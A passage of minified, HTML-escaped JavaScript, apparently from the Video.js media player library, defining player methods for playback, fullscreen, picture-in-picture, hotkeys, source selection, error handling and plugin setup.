&quot;+method+&quot; unavailable on &quot;+this.techName_+&quot; playback technology element.&quot;,e),this.tech_.isReady_=!1,e;throw log$1(e),e}}},_proto.play=function(){var _this9=this,PromiseClass=this.options_.Promise||window.Promise;return PromiseClass?new PromiseClass((function(resolve){_this9.play_(resolve)})):this.play_()},_proto.play_=function(callback){var _this10=this;void 0===callback&amp;&amp;(callback=silencePromise),this.playCallbacks_.push(callback);var isSrcReady=Boolean(!this.changingSrc_&amp;&amp;(this.src()||this.currentSrc()));if(this.waitToPlay_&amp;&amp;(this.off([&quot;ready&quot;,&quot;loadstart&quot;],this.waitToPlay_),this.waitToPlay_=null),!this.isReady_||!isSrcReady)return this.waitToPlay_=function(e){_this10.play_()},this.one([&quot;ready&quot;,&quot;loadstart&quot;],this.waitToPlay_),void(isSrcReady||!IS_ANY_SAFARI&amp;&amp;!IS_IOS||this.load());var val=this.techGet_(&quot;play&quot;);null===val?this.runPlayTerminatedQueue_():this.runPlayCallbacks_(val)},_proto.runPlayTerminatedQueue_=function(){var queue=this.playTerminatedQueue_.slice(0);this.playTerminatedQueue_=[],queue.forEach((function(q){q()}))},_proto.runPlayCallbacks_=function(val){var callbacks=this.playCallbacks_.slice(0);this.playCallbacks_=[],this.playTerminatedQueue_=[],callbacks.forEach((function(cb){cb(val)}))},_proto.pause=function(){this.techCall_(&quot;pause&quot;)},_proto.paused=function(){return!1!==this.techGet_(&quot;paused&quot;)},_proto.played=function(){return this.techGet_(&quot;played&quot;)||createTimeRanges(0,0)},_proto.scrubbing=function(isScrubbing){if(void 0===isScrubbing)return this.scrubbing_;this.scrubbing_=!!isScrubbing,this.techCall_(&quot;setScrubbing&quot;,this.scrubbing_),isScrubbing?this.addClass(&quot;vjs-scrubbing&quot;):this.removeClass(&quot;vjs-scrubbing&quot;)},_proto.currentTime=function(seconds){return void 0!==seconds?(seconds&lt;0&amp;&amp;(seconds=0),this.isReady_&amp;&amp;!this.changingSrc_&amp;&amp;this.tech_&amp;&amp;this.tech_.isReady_?(this.techCall_(&quot;setCurrentTime&quot;,seconds),void(this.cache_.initTime=0)):(this.cache_.initTime=seconds,this.off(&quot;canplay&quot;,this.boundApplyInitTime_),void this.one(&quot;canplay&quot;,this.boundApplyInitTime_))):(this.cache_.currentTime=this.techGet_(&quot;currentTime&quot;)||0,this.cache_.currentTime)},_proto.applyInitTime_=function(){this.currentTime(this.cache_.initTime)},_proto.duration=function(seconds){if(void 0===seconds)return void 0!==this.cache_.duration?this.cache_.duration:NaN;(seconds=parseFloat(seconds))&lt;0&amp;&amp;(seconds=1/0),seconds!==this.cache_.duration&amp;&amp;(this.cache_.duration=seconds,seconds===1/0?this.addClass(&quot;vjs-live&quot;):this.removeClass(&quot;vjs-live&quot;),isNaN(seconds)||this.trigger(&quot;durationchange&quot;))},_proto.remainingTime=function(){return this.duration()-this.currentTime()},_proto.remainingTimeDisplay=function(){return Math.floor(this.duration())-Math.floor(this.currentTime())},_proto.buffered=function(){var buffered=this.techGet_(&quot;buffered&quot;);return buffered&amp;&amp;buffered.length||(buffered=createTimeRanges(0,0)),buffered},_proto.bufferedPercent=function(){return bufferedPercent(this.buffered(),this.duration())},_proto.bufferedEnd=function(){var buffered=this.buffered(),duration=this.duration(),end=buffered.end(buffered.length-1);return end&gt;duration&amp;&amp;(end=duration),end},_proto.volume=function(percentAsDecimal){var vol;return void 0!==percentAsDecimal?(vol=Math.max(0,Math.min(1,parseFloat(percentAsDecimal))),this.cache_.volume=vol,this.techCall_(&quot;setVolume&quot;,vol),void(vol&gt;0&amp;&amp;this.lastVolume_(vol))):(vol=parseFloat(this.techGet_(&quot;volume&quot;)),isNaN(vol)?1:vol)},_proto.muted=function(_muted){if(void 0===_muted)return this.techGet_(&quot;muted&quot;)||!1;this.techCall_(&quot;setMuted&quot;,_muted)},_proto.defaultMuted=function(_defaultMuted){return void 0!==_defaultMuted?this.techCall_(&quot;setDefaultMuted&quot;,_defaultMuted):this.techGet_(&quot;defaultMuted&quot;)||!1},_proto.lastVolume_=function(percentAsDecimal){if(void 0===percentAsDecimal||0===percentAsDecimal)return this.cache_.lastVolume;this.cache_.lastVolume=percentAsDecimal},_proto.supportsFullScreen=function(){return this.techGet_(&quot;supportsFullScreen&quot;)||!1},_proto.isFullscreen=function(isFS){if(void 0!==isFS){var oldValue=this.isFullscreen_;return this.isFullscreen_=Boolean(isFS),this.isFullscreen_!==oldValue&amp;&amp;this.fsApi_.prefixed&amp;&amp;this.trigger(&quot;fullscreenchange&quot;),void this.toggleFullscreenClass_()}return this.isFullscreen_},_proto.requestFullscreen=function(fullscreenOptions){var PromiseClass=this.options_.Promise||window.Promise;if(PromiseClass){var self=this;return new PromiseClass((function(resolve,reject){function offHandler(){self.off(&quot;fullscreenerror&quot;,errorHandler),self.off(&quot;fullscreenchange&quot;,changeHandler)}function changeHandler(){offHandler(),resolve()}function errorHandler(e,err){offHandler(),reject(err)}self.one(&quot;fullscreenchange&quot;,changeHandler),self.one(&quot;fullscreenerror&quot;,errorHandler);var promise=self.requestFullscreenHelper_(fullscreenOptions);promise&amp;&amp;(promise.then(offHandler,offHandler),promise.then(resolve,reject))}))}return this.requestFullscreenHelper_()},_proto.requestFullscreenHelper_=function(fullscreenOptions){var fsOptions,_this11=this;if(this.fsApi_.prefixed||(fsOptions=this.options_.fullscreen&amp;&amp;this.options_.fullscreen.options||{},void 0!==fullscreenOptions&amp;&amp;(fsOptions=fullscreenOptions)),this.fsApi_.requestFullscreen){var promise=this.el_[this.fsApi_.requestFullscreen](fsOptions);return promise&amp;&amp;promise.then((function(){return _this11.isFullscreen(!0)}),(function(){return _this11.isFullscreen(!1)})),promise}this.tech_.supportsFullScreen()&amp;&amp;!0==!this.options_.preferFullWindow?this.techCall_(&quot;enterFullScreen&quot;):this.enterFullWindow()},_proto.exitFullscreen=function(){var PromiseClass=this.options_.Promise||window.Promise;if(PromiseClass){var self=this;return new PromiseClass((function(resolve,reject){function offHandler(){self.off(&quot;fullscreenerror&quot;,errorHandler),self.off(&quot;fullscreenchange&quot;,changeHandler)}function changeHandler(){offHandler(),resolve()}function errorHandler(e,err){offHandler(),reject(err)}self.one(&quot;fullscreenchange&quot;,changeHandler),self.one(&quot;fullscreenerror&quot;,errorHandler);var promise=self.exitFullscreenHelper_();promise&amp;&amp;(promise.then(offHandler,offHandler),promise.then(resolve,reject))}))}return this.exitFullscreenHelper_()},_proto.exitFullscreenHelper_=function(){var _this12=this;if(this.fsApi_.requestFullscreen){var promise=document[this.fsApi_.exitFullscreen]();return promise&amp;&amp;silencePromise(promise.then((function(){return _this12.isFullscreen(!1)}))),promise}this.tech_.supportsFullScreen()&amp;&amp;!0==!this.options_.preferFullWindow?this.techCall_(&quot;exitFullScreen&quot;):this.exitFullWindow()},_proto.enterFullWindow=function(){this.isFullscreen(!0),this.isFullWindow=!0,this.docOrigOverflow=document.documentElement.style.overflow,on(document,&quot;keydown&quot;,this.boundFullWindowOnEscKey_),document.documentElement.style.overflow=&quot;hidden&quot;,addClass(document.body,&quot;vjs-full-window&quot;),this.trigger(&quot;enterFullWindow&quot;)},_proto.fullWindowOnEscKey=function(event){keycode.isEventKey(event,&quot;Esc&quot;)&amp;&amp;!0===this.isFullscreen()&amp;&amp;(this.isFullWindow?this.exitFullWindow():this.exitFullscreen())},_proto.exitFullWindow=function(){this.isFullscreen(!1),this.isFullWindow=!1,off(document,&quot;keydown&quot;,this.boundFullWindowOnEscKey_),document.documentElement.style.overflow=this.docOrigOverflow,removeClass(document.body,&quot;vjs-full-window&quot;),this.trigger(&quot;exitFullWindow&quot;)},_proto.disablePictureInPicture=function(value){if(void 0===value)return this.techGet_(&quot;disablePictureInPicture&quot;);this.techCall_(&quot;setDisablePictureInPicture&quot;,value),this.options_.disablePictureInPicture=value,this.trigger(&quot;disablepictureinpicturechanged&quot;)},_proto.isInPictureInPicture=function(isPiP){return void 0!==isPiP?(this.isInPictureInPicture_=!!isPiP,void this.togglePictureInPictureClass_()):!!this.isInPictureInPicture_},_proto.requestPictureInPicture=function(){if(&quot;pictureInPictureEnabled&quot;in document&amp;&amp;!1===this.disablePictureInPicture())return this.techGet_(&quot;requestPictureInPicture&quot;)},_proto.exitPictureInPicture=function(){if(&quot;pictureInPictureEnabled&quot;in document)return document.exitPictureInPicture()},_proto.handleKeyDown=function(event){var userActions=this.options_.userActions;if(userActions&amp;&amp;userActions.hotkeys){(function(el){var tagName=el.tagName.toLowerCase();if(el.isContentEditable)return!0;if(&quot;input&quot;===tagName)return-1===[&quot;button&quot;,&quot;checkbox&quot;,&quot;hidden&quot;,&quot;radio&quot;,&quot;reset&quot;,&quot;submit&quot;].indexOf(el.type);return-1!==[&quot;textarea&quot;].indexOf(tagName)})(this.el_.ownerDocument.activeElement)||(&quot;function&quot;==typeof userActions.hotkeys?userActions.hotkeys.call(this,event):this.handleHotkeys(event))}},_proto.handleHotkeys=function(event){var hotkeys=this.options_.userActions?this.options_.userActions.hotkeys:{},_hotkeys$fullscreenKe=hotkeys.fullscreenKey,fullscreenKey=void 0===_hotkeys$fullscreenKe?function(keydownEvent){return keycode.isEventKey(keydownEvent,&quot;f&quot;)}:_hotkeys$fullscreenKe,_hotkeys$muteKey=hotkeys.muteKey,muteKey=void 0===_hotkeys$muteKey?function(keydownEvent){return keycode.isEventKey(keydownEvent,&quot;m&quot;)}:_hotkeys$muteKey,_hotkeys$playPauseKey=hotkeys.playPauseKey,playPauseKey=void 0===_hotkeys$playPauseKey?function(keydownEvent){return keycode.isEventKey(keydownEvent,&quot;k&quot;)||keycode.isEventKey(keydownEvent,&quot;Space&quot;)}:_hotkeys$playPauseKey;if(fullscreenKey.call(this,event)){event.preventDefault(),event.stopPropagation();var FSToggle=Component$1.getComponent(&quot;FullscreenToggle&quot;);!1!==document[this.fsApi_.fullscreenEnabled]&amp;&amp;FSToggle.prototype.handleClick.call(this,event)}else if(muteKey.call(this,event)){event.preventDefault(),event.stopPropagation(),Component$1.getComponent(&quot;MuteToggle&quot;).prototype.handleClick.call(this,event)}else if(playPauseKey.call(this,event)){event.preventDefault(),event.stopPropagation(),Component$1.getComponent(&quot;PlayToggle&quot;).prototype.handleClick.call(this,event)}},_proto.canPlayType=function(type){for(var can,i=0,j=this.options_.techOrder;i&lt;j.length;i++){var techName=j[i],tech=Tech.getTech(techName);if(tech||(tech=Component$1.getComponent(techName)),tech){if(tech.isSupported()&amp;&amp;(can=tech.canPlayType(type)))return can}else log$1.error(&#039;The &quot;&#039;+techName+&#039;&quot; tech is undefined. Skipped browser support check for that tech.&#039;)}return&quot;&quot;},_proto.selectSource=function(sources){var fn,_this13=this,techs=this.options_.techOrder.map((function(techName){return[techName,Tech.getTech(techName)]})).filter((function(_ref){var techName=_ref[0],tech=_ref[1];return tech?tech.isSupported():(log$1.error(&#039;The &quot;&#039;+techName+&#039;&quot; tech is undefined. Skipped browser support check for that tech.&#039;),!1)})),findFirstPassingTechSourcePair=function(outerArray,innerArray,tester){var found;return outerArray.some((function(outerChoice){return innerArray.some((function(innerChoice){if(found=tester(outerChoice,innerChoice))return!0}))})),found},finder=function(_ref2,source){var techName=_ref2[0];if(_ref2[1].canPlaySource(source,_this13.options_[techName.toLowerCase()]))return{source:source,tech:techName}};return(this.options_.sourceOrder?findFirstPassingTechSourcePair(sources,techs,(fn=finder,function(a,b){return fn(b,a)})):findFirstPassingTechSourcePair(techs,sources,finder))||!1},_proto.handleSrc_=function(source,isRetry){var _this14=this;if(void 0===source)return this.cache_.src||&quot;&quot;;this.resetRetryOnError_&amp;&amp;this.resetRetryOnError_();var sources=filterSource(source);if(sources.length){if(this.changingSrc_=!0,isRetry||(this.cache_.sources=sources),this.updateSourceCaches_(sources[0]),setSource(this,sources[0],(function(middlewareSource,mws){var middleware,tech;if(_this14.middleware_=mws,isRetry||(_this14.cache_.sources=sources),_this14.updateSourceCaches_(middlewareSource),_this14.src_(middlewareSource))return sources.length&gt;1?_this14.handleSrc_(sources.slice(1)):(_this14.changingSrc_=!1,_this14.setTimeout((function(){this.error({code:4,message:this.localize(this.options_.notSupportedMessage)})}),0),void _this14.triggerReady());middleware=mws,tech=_this14.tech_,middleware.forEach((function(mw){return mw.setTech&amp;&amp;mw.setTech(tech)}))})),this.options_.retryOnError&amp;&amp;sources.length&gt;1){var retry=function(){_this14.error(null),_this14.handleSrc_(sources.slice(1),!0)},stopListeningForErrors=function(){_this14.off(&quot;error&quot;,retry)};this.one(&quot;error&quot;,retry),this.one(&quot;playing&quot;,stopListeningForErrors),this.resetRetryOnError_=function(){_this14.off(&quot;error&quot;,retry),_this14.off(&quot;playing&quot;,stopListeningForErrors)}}}else this.setTimeout((function(){this.error({code:4,message:this.localize(this.options_.notSupportedMessage)})}),0)},_proto.src=function(source){return this.handleSrc_(source,!1)},_proto.src_=function(source){var str1,str2,_this15=this,sourceTech=this.selectSource([source]);return!sourceTech||(str1=sourceTech.tech,str2=this.techName_,toTitleCase$1(str1)!==toTitleCase$1(str2)?(this.changingSrc_=!0,this.loadTech_(sourceTech.tech,sourceTech.source),this.tech_.ready((function(){_this15.changingSrc_=!1})),!1):(this.ready((function(){this.tech_.constructor.prototype.hasOwnProperty(&quot;setSource&quot;)?this.techCall_(&quot;setSource&quot;,source):this.techCall_(&quot;src&quot;,source.src),this.changingSrc_=!1}),!0),!1))},_proto.load=function(){this.techCall_(&quot;load&quot;)},_proto.reset=function(){var _this16=this,PromiseClass=this.options_.Promise||window.Promise;this.paused()||!PromiseClass?this.doReset_():silencePromise(this.play().then((function(){return _this16.doReset_()})))},_proto.doReset_=function(){this.tech_&amp;&amp;this.tech_.clearTracks(&quot;text&quot;),this.resetCache_(),this.poster(&quot;&quot;),this.loadTech_(this.options_.techOrder[0],null),this.techCall_(&quot;reset&quot;),this.resetControlBarUI_(),isEvented(this)&amp;&amp;this.trigger(&quot;playerreset&quot;)},_proto.resetControlBarUI_=function(){this.resetProgressBar_(),this.resetPlaybackRate_(),this.resetVolumeBar_()},_proto.resetProgressBar_=function(){this.currentTime(0);var _this$controlBar=this.controlBar,durationDisplay=_this$controlBar.durationDisplay,remainingTimeDisplay=_this$controlBar.remainingTimeDisplay;durationDisplay&amp;&amp;durationDisplay.updateContent(),remainingTimeDisplay&amp;&amp;remainingTimeDisplay.updateContent()},_proto.resetPlaybackRate_=function(){this.playbackRate(this.defaultPlaybackRate()),this.handleTechRateChange_()},_proto.resetVolumeBar_=function(){this.volume(1),this.trigger(&quot;volumechange&quot;)},_proto.currentSources=function(){var source=this.currentSource(),sources=[];return 0!==Object.keys(source).length&amp;&amp;sources.push(source),this.cache_.sources||sources},_proto.currentSource=function(){return this.cache_.source||{}},_proto.currentSrc=function(){return this.currentSource()&amp;&amp;this.currentSource().src||&quot;&quot;},_proto.currentType=function(){return this.currentSource()&amp;&amp;this.currentSource().type||&quot;&quot;},_proto.preload=function(value){return void 0!==value?(this.techCall_(&quot;setPreload&quot;,value),void(this.options_.preload=value)):this.techGet_(&quot;preload&quot;)},_proto.autoplay=function(value){if(void 0===value)return this.options_.autoplay||!1;var techAutoplay;&quot;string&quot;==typeof value&amp;&amp;/(any|play|muted)/.test(value)||!0===value&amp;&amp;this.options_.normalizeAutoplay?(this.options_.autoplay=value,this.manualAutoplay_(&quot;string&quot;==typeof value?value:&quot;play&quot;),techAutoplay=!1):this.options_.autoplay=!!value,techAutoplay=void 0===techAutoplay?this.options_.autoplay:techAutoplay,this.tech_&amp;&amp;this.techCall_(&quot;setAutoplay&quot;,techAutoplay)},_proto.playsinline=function(value){return void 0!==value?(this.techCall_(&quot;setPlaysinline&quot;,value),this.options_.playsinline=value,this):this.techGet_(&quot;playsinline&quot;)},_proto.loop=function(value){return void 0!==value?(this.techCall_(&quot;setLoop&quot;,value),void(this.options_.loop=value)):this.techGet_(&quot;loop&quot;)},_proto.poster=function(src){if(void 0===src)return this.poster_;src||(src=&quot;&quot;),src!==this.poster_&amp;&amp;(this.poster_=src,this.techCall_(&quot;setPoster&quot;,src),this.isPosterFromTech_=!1,this.trigger(&quot;posterchange&quot;))},_proto.handleTechPosterChange_=function(){if((!this.poster_||this.options_.techCanOverridePoster)&amp;&amp;this.tech_&amp;&amp;this.tech_.poster){var newPoster=this.tech_.poster()||&quot;&quot;;newPoster!==this.poster_&amp;&amp;(this.poster_=newPoster,this.isPosterFromTech_=!0,this.trigger(&quot;posterchange&quot;))}},_proto.controls=function(bool){if(void 0===bool)return!!this.controls_;bool=!!bool,this.controls_!==bool&amp;&amp;(this.controls_=bool,this.usingNativeControls()&amp;&amp;this.techCall_(&quot;setControls&quot;,bool),this.controls_?(this.removeClass(&quot;vjs-controls-disabled&quot;),this.addClass(&quot;vjs-controls-enabled&quot;),this.trigger(&quot;controlsenabled&quot;),this.usingNativeControls()||this.addTechControlsListeners_()):(this.removeClass(&quot;vjs-controls-enabled&quot;),this.addClass(&quot;vjs-controls-disabled&quot;),this.trigger(&quot;controlsdisabled&quot;),this.usingNativeControls()||this.removeTechControlsListeners_()))},_proto.usingNativeControls=function(bool){if(void 0===bool)return!!this.usingNativeControls_;bool=!!bool,this.usingNativeControls_!==bool&amp;&amp;(this.usingNativeControls_=bool,this.usingNativeControls_?(this.addClass(&quot;vjs-using-native-controls&quot;),this.trigger(&quot;usingnativecontrols&quot;)):(this.removeClass(&quot;vjs-using-native-controls&quot;),this.trigger(&quot;usingcustomcontrols&quot;)))},_proto.error=function(err){var _this17=this;if(void 0===err)return this.error_||null;if(hooks(&quot;beforeerror&quot;).forEach((function(hookFunction){var newErr=hookFunction(_this17,err);isObject$1(newErr)&amp;&amp;!Array.isArray(newErr)||&quot;string&quot;==typeof newErr||&quot;number&quot;==typeof newErr||null===newErr?err=newErr:_this17.log.error(&quot;please return a value that MediaError expects in beforeerror hooks&quot;)})),this.options_.suppressNotSupportedError&amp;&amp;err&amp;&amp;4===err.code){var triggerSuppressedError=function(){this.error(err)};return this.options_.suppressNotSupportedError=!1,this.any([&quot;click&quot;,&quot;touchstart&quot;],triggerSuppressedError),void this.one(&quot;loadstart&quot;,(function(){this.off([&quot;click&quot;,&quot;touchstart&quot;],triggerSuppressedError)}))}if(null===err)return this.error_=err,this.removeClass(&quot;vjs-error&quot;),void(this.errorDisplay&amp;&amp;this.errorDisplay.close());this.error_=new MediaError(err),this.addClass(&quot;vjs-error&quot;),log$1.error(&quot;(CODE:&quot;+this.error_.code+&quot; &quot;+MediaError.errorTypes[this.error_.code]+&quot;)&quot;,this.error_.message,this.error_),this.trigger(&quot;error&quot;),hooks(&quot;error&quot;).forEach((function(hookFunction){return hookFunction(_this17,_this17.error_)}))},_proto.reportUserActivity=function(event){this.userActivity_=!0},_proto.userActive=function(bool){if(void 0===bool)return this.userActive_;if((bool=!!bool)!==this.userActive_){if(this.userActive_=bool,this.userActive_)return this.userActivity_=!0,this.removeClass(&quot;vjs-user-inactive&quot;),this.addClass(&quot;vjs-user-active&quot;),void this.trigger(&quot;useractive&quot;);this.tech_&amp;&amp;this.tech_.one(&quot;mousemove&quot;,(function(e){e.stopPropagation(),e.preventDefault()})),this.userActivity_=!1,this.removeClass(&quot;vjs-user-active&quot;),this.addClass(&quot;vjs-user-inactive&quot;),this.trigger(&quot;userinactive&quot;)}},_proto.listenForUserActivity_=function(){var mouseInProgress,lastMoveX,lastMoveY,handleActivity=bind(this,this.reportUserActivity),handleMouseUpAndMouseLeave=function(event){handleActivity(),this.clearInterval(mouseInProgress)};this.on(&quot;mousedown&quot;,(function(){handleActivity(),this.clearInterval(mouseInProgress),mouseInProgress=this.setInterval(handleActivity,250)})),this.on(&quot;mousemove&quot;,(function(e){e.screenX===lastMoveX&amp;&amp;e.screenY===lastMoveY||(lastMoveX=e.screenX,lastMoveY=e.screenY,handleActivity())})),this.on(&quot;mouseup&quot;,handleMouseUpAndMouseLeave),this.on(&quot;mouseleave&quot;,handleMouseUpAndMouseLeave);var inactivityTimeout,controlBar=this.getChild(&quot;controlBar&quot;);!controlBar||IS_IOS||IS_ANDROID||(controlBar.on(&quot;mouseenter&quot;,(function(event){0!==this.player().options_.inactivityTimeout&amp;&amp;(this.player().cache_.inactivityTimeout=this.player().options_.inactivityTimeout),this.player().options_.inactivityTimeout=0})),controlBar.on(&quot;mouseleave&quot;,(function(event){this.player().options_.inactivityTimeout=this.player().cache_.inactivityTimeout}))),this.on(&quot;keydown&quot;,handleActivity),this.on(&quot;keyup&quot;,handleActivity),this.setInterval((function(){if(this.userActivity_){this.userActivity_=!1,this.userActive(!0),this.clearTimeout(inactivityTimeout);var timeout=this.options_.inactivityTimeout;timeout&lt;=0||(inactivityTimeout=this.setTimeout((function(){this.userActivity_||this.userActive(!1)}),timeout))}}),250)},_proto.playbackRate=function(rate){if(void 0===rate)return this.tech_&amp;&amp;this.tech_.featuresPlaybackRate?this.cache_.lastPlaybackRate||this.techGet_(&quot;playbackRate&quot;):1;this.techCall_(&quot;setPlaybackRate&quot;,rate)},_proto.defaultPlaybackRate=function(rate){return void 0!==rate?this.techCall_(&quot;setDefaultPlaybackRate&quot;,rate):this.tech_&amp;&amp;this.tech_.featuresPlaybackRate?this.techGet_(&quot;defaultPlaybackRate&quot;):1},_proto.isAudio=function(bool){if(void 0===bool)return!!this.isAudio_;this.isAudio_=!!bool},_proto.addTextTrack=function(kind,label,language){if(this.tech_)return this.tech_.addTextTrack(kind,label,language)},_proto.addRemoteTextTrack=function(options,manualCleanup){if(this.tech_)return this.tech_.addRemoteTextTrack(options,manualCleanup)},_proto.removeRemoteTextTrack=function(obj){void 0===obj&amp;&amp;(obj={});var track=obj.track;if(track||(track=obj),this.tech_)return this.tech_.removeRemoteTextTrack(track)},_proto.getVideoPlaybackQuality=function(){return this.techGet_(&quot;getVideoPlaybackQuality&quot;)},_proto.videoWidth=function(){return this.tech_&amp;&amp;this.tech_.videoWidth&amp;&amp;this.tech_.videoWidth()||0},_proto.videoHeight=function(){return this.tech_&amp;&amp;this.tech_.videoHeight&amp;&amp;this.tech_.videoHeight()||0},_proto.language=function(code){if(void 0===code)return this.language_;this.language_!==String(code).toLowerCase()&amp;&amp;(this.language_=String(code).toLowerCase(),isEvented(this)&amp;&amp;this.trigger(&quot;languagechange&quot;))},_proto.languages=function(){return mergeOptions$3(Player.prototype.options_.languages,this.languages_)},_proto.toJSON=function(){var options=mergeOptions$3(this.options_),tracks=options.tracks;options.tracks=[];for(var i=0;i&lt;tracks.length;i++){var track=tracks[i];(track=mergeOptions$3(track)).player=void 0,options.tracks[i]=track}return options},_proto.createModal=function(content,options){var _this18=this;(options=options||{}).content=content||&quot;&quot;;var modal=new ModalDialog(this,options);return this.addChild(modal),modal.on(&quot;dispose&quot;,(function(){_this18.removeChild(modal)})),modal.open(),modal},_proto.updateCurrentBreakpoint_=function(){if(this.responsive())for(var currentBreakpoint=this.currentBreakpoint(),currentWidth=this.currentWidth(),i=0;i&lt;BREAKPOINT_ORDER.length;i++){var candidateBreakpoint=BREAKPOINT_ORDER[i];if(currentWidth&lt;=this.breakpoints_[candidateBreakpoint]){if(currentBreakpoint===candidateBreakpoint)return;currentBreakpoint&amp;&amp;this.removeClass(BREAKPOINT_CLASSES[currentBreakpoint]),this.addClass(BREAKPOINT_CLASSES[candidateBreakpoint]),this.breakpoint_=candidateBreakpoint;break}}},_proto.removeCurrentBreakpoint_=function(){var className=this.currentBreakpointClass();this.breakpoint_=&quot;&quot;,className&amp;&amp;this.removeClass(className)},_proto.breakpoints=function(_breakpoints){return void 0===_breakpoints||(this.breakpoint_=&quot;&quot;,this.breakpoints_=assign({},DEFAULT_BREAKPOINTS,_breakpoints),this.updateCurrentBreakpoint_()),assign(this.breakpoints_)},_proto.responsive=function(value){return void 0===value?this.responsive_:(value=Boolean(value))!==this.responsive_?(this.responsive_=value,value?(this.on(&quot;playerresize&quot;,this.boundUpdateCurrentBreakpoint_),this.updateCurrentBreakpoint_()):(this.off(&quot;playerresize&quot;,this.boundUpdateCurrentBreakpoint_),this.removeCurrentBreakpoint_()),value):void 0},_proto.currentBreakpoint=function(){return this.breakpoint_},_proto.currentBreakpointClass=function(){return BREAKPOINT_CLASSES[this.breakpoint_]||&quot;&quot;},_proto.loadMedia=function(media,ready){var _this19=this;if(media&amp;&amp;&quot;object&quot;==typeof media){this.reset(),this.cache_.media=mergeOptions$3(media);var _this$cache_$media=this.cache_.media,artwork=_this$cache_$media.artwork,poster=_this$cache_$media.poster,src=_this$cache_$media.src,textTracks=_this$cache_$media.textTracks;!artwork&amp;&amp;poster&amp;&amp;(this.cache_.media.artwork=[{src:poster,type:getMimetype(poster)}]),src&amp;&amp;this.src(src),poster&amp;&amp;this.poster(poster),Array.isArray(textTracks)&amp;&amp;textTracks.forEach((function(tt){return _this19.addRemoteTextTrack(tt,!1)})),this.ready(ready)}},_proto.getMedia=function(){if(!this.cache_.media){var poster=this.poster(),media={src:this.currentSources(),textTracks:Array.prototype.map.call(this.remoteTextTracks(),(function(tt){return{kind:tt.kind,label:tt.label,language:tt.language,src:tt.src}}))};return poster&amp;&amp;(media.poster=poster,media.artwork=[{src:media.poster,type:getMimetype(media.poster)}]),media}return mergeOptions$3(this.cache_.media)},Player.getTagSettings=function(tag){var baseOptions={sources:[],tracks:[]},tagOptions=getAttributes(tag),dataSetup=tagOptions[&quot;data-setup&quot;];if(hasClass(tag,&quot;vjs-fill&quot;)&amp;&amp;(tagOptions.fill=!0),hasClass(tag,&quot;vjs-fluid&quot;)&amp;&amp;(tagOptions.fluid=!0),null!==dataSetup){var _safeParseTuple=tuple(dataSetup||&quot;{}&quot;),err=_safeParseTuple[0],data=_safeParseTuple[1];err&amp;&amp;log$1.error(err),assign(tagOptions,data)}if(assign(baseOptions,tagOptions),tag.hasChildNodes())for(var children=tag.childNodes,i=0,j=children.length;i&lt;j;i++){var child=children[i],childName=child.nodeName.toLowerCase();&quot;source&quot;===childName?baseOptions.sources.push(getAttributes(child)):&quot;track&quot;===childName&amp;&amp;baseOptions.tracks.push(getAttributes(child))}return baseOptions},_proto.flexNotSupported_=function(){var elem=document.createElement(&quot;i&quot;);return!(&quot;flexBasis&quot;in elem.style||&quot;webkitFlexBasis&quot;in elem.style||&quot;mozFlexBasis&quot;in elem.style||&quot;msFlexBasis&quot;in elem.style||&quot;msFlexOrder&quot;in elem.style)},_proto.debug=function(enabled){if(void 0===enabled)return this.debugEnabled_;enabled?(this.trigger(&quot;debugon&quot;),this.previousLogLevel_=this.log.level,this.log.level(&quot;debug&quot;),this.debugEnabled_=!0):(this.trigger(&quot;debugoff&quot;),this.log.level(this.previousLogLevel_),this.previousLogLevel_=void 0,this.debugEnabled_=!1)},_proto.playbackRates=function(newRates){if(void 0===newRates)return this.cache_.playbackRates;Array.isArray(newRates)&amp;&amp;newRates.every((function(rate){return&quot;number&quot;==typeof rate}))&amp;&amp;(this.cache_.playbackRates=newRates,this.trigger(&quot;playbackrateschange&quot;))},Player}(Component$1);ALL.names.forEach((function(name){var props=ALL[name];Player.prototype[props.getterName]=function(){return this.tech_?this.tech_[props.getterName]():(this[props.privateName]=this[props.privateName]||new props.ListClass,this[props.privateName])}})),Player.prototype.crossorigin=Player.prototype.crossOrigin,Player.players={};var navigator=window.navigator;Player.prototype.options_={techOrder:Tech.defaultTechOrder_,html5:{},inactivityTimeout:2e3,playbackRates:[],liveui:!1,children:[&quot;mediaLoader&quot;,&quot;posterImage&quot;,&quot;textTrackDisplay&quot;,&quot;loadingSpinner&quot;,&quot;bigPlayButton&quot;,&quot;liveTracker&quot;,&quot;controlBar&quot;,&quot;errorDisplay&quot;,&quot;textTrackSettings&quot;,&quot;resizeManager&quot;],language:navigator&amp;&amp;(navigator.languages&amp;&amp;navigator.languages[0]||navigator.userLanguage||navigator.language)||&quot;en&quot;,languages:{},notSupportedMessage:&quot;No compatible source was found for this media.&quot;,normalizeAutoplay:!1,fullscreen:{options:{navigationUI:&quot;hide&quot;}},breakpoints:{},responsive:!1},[&quot;ended&quot;,&quot;seeking&quot;,&quot;seekable&quot;,&quot;networkState&quot;,&quot;readyState&quot;].forEach((function(fn){Player.prototype[fn]=function(){return this.techGet_(fn)}})),TECH_EVENTS_RETRIGGER.forEach((function(event){Player.prototype[&quot;handleTech&quot;+toTitleCase$1(event)+&quot;_&quot;]=function(){return this.trigger(event)}})),Component$1.registerComponent(&quot;Player&quot;,Player);var setPrototypeOf=createCommonjsModule((function(module){function _setPrototypeOf(o,p){return module.exports=_setPrototypeOf=Object.setPrototypeOf||function(o,p){return o.__proto__=p,o},_setPrototypeOf(o,p)}module.exports=_setPrototypeOf}));var isNativeReflectConstruct=function(){if(&quot;undefined&quot;==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if(&quot;function&quot;==typeof Proxy)return!0;try{return Date.prototype.toString.call(Reflect.construct(Date,[],(function(){}))),!0}catch(e){return!1}},construct=createCommonjsModule((function(module){function _construct(Parent,args,Class){return isNativeReflectConstruct()?module.exports=_construct=Reflect.construct:module.exports=_construct=function(Parent,args,Class){var a=[null];a.push.apply(a,args);var instance=new(Function.bind.apply(Parent,a));return Class&amp;&amp;setPrototypeOf(instance,Class.prototype),instance},_construct.apply(null,arguments)}module.exports=_construct})),pluginStorage={},pluginExists=function(name){return pluginStorage.hasOwnProperty(name)},getPlugin=function(name){return pluginExists(name)?pluginStorage[name]:void 0},markPluginAsActive=function(player,name){player.activePlugins_=player.activePlugins_||{},player.activePlugins_[name]=!0},triggerSetupEvent=function(player,hash,before){var eventName=(before?&quot;before&quot;:&quot;&quot;)+&quot;pluginsetup&quot;;player.trigger(eventName,hash),player.trigger(eventName+&quot;:&quot;+hash.name,hash)},createPluginFactory=function(name,PluginSubClass){return 